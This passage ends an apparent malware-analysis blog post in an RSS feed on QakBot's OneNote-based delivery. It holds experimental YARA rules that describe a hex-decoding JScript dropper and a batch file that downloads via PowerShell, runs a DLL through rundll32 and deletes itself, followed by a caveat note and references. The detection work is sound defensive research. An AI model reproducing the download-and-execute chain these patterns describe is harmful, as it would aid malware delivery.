&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;rule ORL_JScript_Hex_Dropper_Cmd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;meta:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;description = &quot;Decoded JScript that rebuilds a batch file from hex and runs it hidden&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;author = &quot;OneReverseLook&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;date = &quot;2026-12-03&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;status = &quot;experimental&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;strings:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$fso   = &quot;scripting.filesystemobject&quot; ascii nocase&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$shell = &quot;wscript.shell&quot; ascii nocase&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$ctf   = &quot;CreateTextFile&quot; ascii&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$fcc   = &quot;String.fromCharCode&quot; ascii&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$hex   = /parseInt\([^)]{1,40}\.substr\([^)]{1,40}, ?2\), ?16\)/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$run   = /\.run\(\s*&apos;[^&apos;]{1,40}\.cmd[^&apos;]{0,40}&apos;\s*,\s*0\s*\)/ nocase&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;condition:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;filesize &amp;#x3C; 50KB and $fso and $shell and $ctf and $fcc and $hex and $run&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;rule ORL_Batch_IWR_Rundll32_Wind&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;meta:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;description = &quot;Dropped batch file: PowerShell IWR to %temp%, rundll32 with the Wind export, then self-delete&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;author = &quot;OneReverseLook&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;date = &quot;2026-12-03&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;status = &quot;experimental&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;strings:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$iwr  = /powershell(\.exe)? +IWR +-uri +https?:\/\//  nocase&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$tmp  = &quot;%temp%\\&quot; ascii nocase&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$r32  = /rundll32 +%temp%\\[A-Za-z0-9]{4,16}\.tmp,Wind/ nocase&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$del  = &quot;del /q /f \&quot;%~f0\&quot;&quot; ascii nocase&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;condition:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;filesize &amp;#x3C; 5KB and $iwr and $tmp and $r32 and $del&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;aside aria-label=&quot;These rules are experimental&quot;&gt;&lt;p aria-hidden=&quot;true&quot;&gt;These rules are experimental&lt;/p&gt;&lt;div&gt;&lt;p&gt;the second rule matches the script &lt;em&gt;after&lt;/em&gt; decoding, so run it against decoded output or memory, not the raw .jse. The first rule doesn’t look for &lt;code dir=&quot;auto&quot;&gt;.js&lt;/code&gt;, because that would also match &lt;code dir=&quot;auto&quot;&gt;.json&lt;/code&gt;, which is harmless. All three compile and were tested against files rebuilt from the figures in this post. They haven’t been run against a large set of clean or malicious files yet, so expect false positives and misses, and test them in your own environment before you rely on them.&lt;/p&gt;&lt;/div&gt;&lt;/aside&gt;
&lt;div&gt;&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.virustotal.com&quot;&gt;VirusTotal&lt;/a&gt; — sample source&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.crowdstrike.com/en-us/blog/qakbot-ecrime-campaign-leverages-microsoft-onenote-for-distribution/&quot;&gt;CrowdStrike: QakBot eCrime Campaign Leverages Microsoft OneNote Attachments&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution&quot;&gt;Trellix: QakBot evolves to OneNote malware distribution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cyble.com/blog/the-many-faces-of-qakbot-malware-a-look-at-its-diverse-distribution-methods/&quot;&gt;Cyble: The many faces of QakBot malware&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Windows_Script_Host&quot;&gt;Windows Script Host (Wikipedia)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org&quot;&gt;MITRE ATT&amp;#x26;CK&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let us know what you think: feedback is always welcome at &lt;a href=&quot;mailto:feedback@onereverselook.com&quot;&gt;feedback@onereverselook.com&lt;/a&gt;.&lt;/p&gt;
</content:encoded><category>phishing</category><category>onenote</category><category>qakbot</category></item></channel></rss>